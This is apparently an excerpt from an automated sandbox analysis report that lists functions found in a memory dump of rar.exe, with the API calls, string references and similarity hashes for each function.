Instruction Fuzzy Hash: 3F115E32A14A819BE618DF29E95466DA330FB8EBA0F100331DBAD536B5CF39E475C744

Function 00007FF6BBD158A4 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 245COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BBD15908

Strings

gfffffff, xrefs: 00007FF6BBD15B96

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: gfffffff
API String ID: 3215553584-1523873471
Opcode ID: 21452402729b0f04a42bea99b9d48ecd324c6ba459a3d9785fd7d0df1cc262de
Instruction ID: 13a04e24f140839cdb1d067a46b39c20605fc959d9a6b23dc2a82410b2bddb73
Opcode Fuzzy Hash: 21452402729b0f04a42bea99b9d48ecd324c6ba459a3d9785fd7d0df1cc262de
Instruction Fuzzy Hash: 85911862B0A39646EB198F2DE18037C6B55BB697D4F088232CB8D877A5DE3DE511C301

Function 00007FF6BBCECFCF Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BBCFB6D0: Sleep.KERNEL32(?,?,?,?,00007FF6BBCCCBED,?,00000000,?,00007FF6BBCF7A8C), ref: 00007FF6BBCFB730

new.LIBCMT ref: 00007FF6BBCECFD9

Strings

rev, xrefs: 00007FF6BBCED00F
rar, xrefs: 00007FF6BBCED074

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: Sleep
String ID: rar$rev
API String ID: 3472027048-2145959568
Opcode ID: 50351231c3f8732b734c05f1f2968c465adcf4732fcc2a7da3cc46214972e448
Instruction ID: bee6decd8242054e41c828aeefc14bd2c69e487eb063f63b71c1fc74301f2931
Opcode Fuzzy Hash: 50351231c3f8732b734c05f1f2968c465adcf4732fcc2a7da3cc46214972e448
Instruction Fuzzy Hash: EEA1BF22A28692C2EA24DB28D45E2BD6375FF4C794F554032EB5D8B6E6EF2CF544C300

Function 00007FF6BBD0F7CC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 169COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BBD0F7FE
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BBD0FA3C

Strings

*, xrefs: 00007FF6BBD0F90C

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: *
API String ID: 3215553584-163128923
Opcode ID: 16a705be2b1e487b59333a8e93db6455a755c474a96de4fc0b7d69b7c81f417b
Instruction ID: d4623b319e7581db6ab2f034d5355e836de3e5e48cacf79df4fe5fe642e1e660
Opcode Fuzzy Hash: 16a705be2b1e487b59333a8e93db6455a755c474a96de4fc0b7d69b7c81f417b
Instruction Fuzzy Hash: 8C715B7290865286E76C8F2D906557C3BA0FB49F08FB41336DB4AC22A8DF3DE981D745

Function 00007FF6BBD15CD4 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BBD15D17

Strings

e+000, xrefs: 00007FF6BBD15DBF
gfff, xrefs: 00007FF6BBD15E42

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: e+000$gfff
API String ID: 3215553584-3030954782
Opcode ID: a7106781bdf1546bde54527bf858c9e03adeffff05cd77f62067aea497a9d42c
Instruction ID: 4bd00e45abcf67713c6ed388030a84410cf6b5f84fc190662311dcf3261b7fce
Opcode Fuzzy Hash: a7106781bdf1546bde54527bf858c9e03adeffff05cd77f62067aea497a9d42c
Instruction Fuzzy Hash: 9A51E362B186D24AE7298B39D8413696A91FB49B94F4C8331C7AC87BE6CE2CD4448700

Function 00007FF6BBCE4534 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 130COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32(?,?,?,00000800,?,?,00000000,00007FF6BBCD475B,?,00000000,?,?,00007FF6BBCD4620,?,00000000,?), ref: 00007FF6BBCE4633

Strings

UNC, xrefs: 00007FF6BBCE4614
\\?\, xrefs: 00007FF6BBCE45B6, 00007FF6BBCE4602, 00007FF6BBCE4684, 00007FF6BBCE46D3

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: CurrentDirectory
String ID: UNC$\\?\
API String ID: 1611563598-253988292
Opcode ID: da028c110e4e0ee969c3eaba738cc076e51dd9ec006f0672d54c2a85376dd233
Instruction ID: 0d4074e11ae2582e28d9e59eba0529175576960e77a27e65758cd0408d8f1404
Opcode Fuzzy Hash: da028c110e4e0ee969c3eaba738cc076e51dd9ec006f0672d54c2a85376dd233
Instruction Fuzzy Hash: A041A211A2968281EA24EB59E40A1BD6375BF4DBC4F818531EF6DC76F6EF2CF645C200

Function 00007FF6BBD13B0C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BBD13B36
GetModuleFileNameA.KERNEL32(?,?,?,?,?,00007FF6BBD0B066), ref: 00007FF6BBD13B57

Strings

C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe, xrefs: 00007FF6BBD13B45

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: FileModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe
API String ID: 3307058713-636270199
Opcode ID: c5c98bd9bcb7567b946254e1cd77aa550a51c4497f1b66c7ef7d78e94eebfc81
Instruction ID: 0a7fbdb402f55cc080c7ce1fc9c32c5913951b85b86a75327aedf4a53e3554dd
Opcode Fuzzy Hash: c5c98bd9bcb7567b946254e1cd77aa550a51c4497f1b66c7ef7d78e94eebfc81
Instruction Fuzzy Hash: 8541A136A08A6295EB1CDF29D4400B87795FB48B94B498235EB4E83BA5DF3DE441C704

Function 00007FF6BBCF7C38 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,?,?,00007FF6BBCF7471), ref: 00007FF6BBCF7C96
wcsstr.LIBVCRUNTIME ref: 00007FF6BBCF7CBC

Strings

System Volume Information\, xrefs: 00007FF6BBCF7CB2

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: AttributesFilewcsstr
String ID: System Volume Information\
API String ID: 1592324571-4227249723
Opcode ID: 4db18abc006475e63bde04fe0f8edb9794334f288998beee5a1eb1867efadb0f
Instruction ID: dd078fd637aa7123ec91acf19b1e49f8547c94780e15170fa8e2aa943a93410c
Opcode Fuzzy Hash: 4db18abc006475e63bde04fe0f8edb9794334f288998beee5a1eb1867efadb0f
Instruction Fuzzy Hash: DD31FE22A1A68185EB55DB29A1592BE6B70BF4DBC0F445171EF8D877B6CF3CE0498700

Function 00007FF6BBCC4888 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 79COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6BBCC48F8

Part of subcall function 00007FF6BBCF49F4: LoadStringW.USER32 ref: 00007FF6BBCF4A7B
Part of subcall function 00007FF6BBCF49F4: LoadStringW.USER32 ref: 00007FF6BBCF4A94

Part of subcall function 00007FF6BBCC8444: fflush.LIBCMT ref: 00007FF6BBCC8477

Strings

[, xrefs: 00007FF6BBCC48E5
%d.%02d, xrefs: 00007FF6BBCC48DE

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: LoadString$fflushswprintf
String ID: %d.%02d$[
API String ID: 1946543793-195111373
Opcode ID: f04d483f56175c8b40415d20487cbec804232b663c65daca34dce35784760712
Instruction ID: 9b621eea2d46b225b548aa00833d60d182a9077c66403f78af8e286db4b3047b
Opcode Fuzzy Hash: f04d483f56175c8b40415d20487cbec804232b663c65daca34dce35784760712
Instruction Fuzzy Hash: A1319A21A19AC251FA64EB18E0993BA63B0FF98784F444139E75D8B6E6DF3CE544C780

Function 00007FF6BBCF3C20 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 73COMMON

Download Yara Rule

APIs

snprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6BBCF3CB0

Strings

$%s, xrefs: 00007FF6BBCF3C9D
@%s, xrefs: 00007FF6BBCF3C94

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: snprintf
String ID: $%s$@%s
API String ID: 4288800496-834177443
Opcode ID: 7a7053d11aa3be1251aeb62ffc93e7b2ac424df20b613d8193438d5ab2157725
Instruction ID: fbe0fb09ddfd6321c2c165ea937744a0ab3ac434dc1e3bcc0a65638ae7336eca
Opcode Fuzzy Hash: 7a7053d11aa3be1251aeb62ffc93e7b2ac424df20b613d8193438d5ab2157725
Instruction Fuzzy Hash: 7D31BF22B08A82A5EA14DB5DE4487E92770FB88784F401132EF4D97B79DF3DE509C700

Function 00007FF6BBCEF474 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 73COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6BBCEF4D2

Strings

fixed., xrefs: 00007FF6BBCEF4B8
fixed%u., xrefs: 00007FF6BBCEF4C6

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: swprintf
String ID: fixed%u.$fixed.
API String ID: 233258989-2525383582
Opcode ID: fddd7528cb08c65f409e766db47ba8cea55e1086a780a4f54c28e47408ad2848
Instruction ID: 34a6b02415d1334cb26c491eec386144e161fbc00d33f608ed070e6709c26d40
Opcode Fuzzy Hash: fddd7528cb08c65f409e766db47ba8cea55e1086a780a4f54c28e47408ad2848
Instruction Fuzzy Hash: 3431B722A1868192FB10DB29E4053ED6370FB58790F900232EB5D976FADF3CE146CB10

Function 00007FF6BBCF49F4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

LoadStringW.USER32 ref: 00007FF6BBCF4A7B
LoadStringW.USER32 ref: 00007FF6BBCF4A94

Strings

Done, xrefs: 00007FF6BBCF4A16

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: LoadString
String ID: Done
API String ID: 2948472770-499744565
Opcode ID: 029dc5b3afc22f1748ed18b4bb1637acba6cd1f0e3e62fcee6acc39158075de8
Instruction ID: a1690369636a684e0361727373512c506631f059deaeb3c1837ef56c7a5fc0be
Opcode Fuzzy Hash: 029dc5b3afc22f1748ed18b4bb1637acba6cd1f0e3e62fcee6acc39158075de8
Instruction Fuzzy Hash: 72112B65B18B8186EA189F1AE844169B7A1FF9CFC0B54853ACF0CD3334EE7CE6468244

Function 00007FF6BBCB5DB4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6BBCB5E1B
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6BBCB5E2F

Strings

;%%0%du, xrefs: 00007FF6BBCB5E0A

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: swprintf
String ID: ;%%0%du
API String ID: 233258989-2249936285
Opcode ID: 5630f68361fdad429f81d227d618e3426730f2a1c59dfa690c7e09baebf2de4d
Instruction ID: 630c1e63ec4a75a0c67daeac27bfdfad8b78c889fb7e135e4e36049e772fc598
Opcode Fuzzy Hash: 5630f68361fdad429f81d227d618e3426730f2a1c59dfa690c7e09baebf2de4d
Instruction Fuzzy Hash: AC11B622B08A8546E724DB28E0143E97770FB8C744F894131EB4D877A6DF3CD949CB40

Function 00007FF6BBCD331C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BBCE42CC: swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6BBCE430F

GetVolumeInformationW.KERNEL32(?,00007FF6BBCD0BED,?,?,00000000,?,?,00007FF6BBCCF30F,00000000,00007FF6BBCB6380,?,00007FF6BBCB2EC8), ref: 00007FF6BBCD337E

Strings

FAT32, xrefs: 00007FF6BBCD339D
FAT, xrefs: 00007FF6BBCD3388

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: InformationVolumeswprintf
String ID: FAT$FAT32
API String ID: 989755765-1174603449
Opcode ID: b1ebeb30fd722dd76b352bce1e824f537b2a19fc82dbcf7dfb484d1401dd98df
Instruction ID: 8a90e7db5e554a26184524f1dda8d24eb7616a82744356fe7cb7d2be3b24189a
Opcode Fuzzy Hash: b1ebeb30fd722dd76b352bce1e824f537b2a19fc82dbcf7dfb484d1401dd98df
Instruction Fuzzy Hash: 48115121A5CA8281FB60DB18E8952EA63A5FF88344F845131EB4DC3AA5DF3CE115CB04

Function 00007FF6BBCFB974 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16synchronizationCOMMON

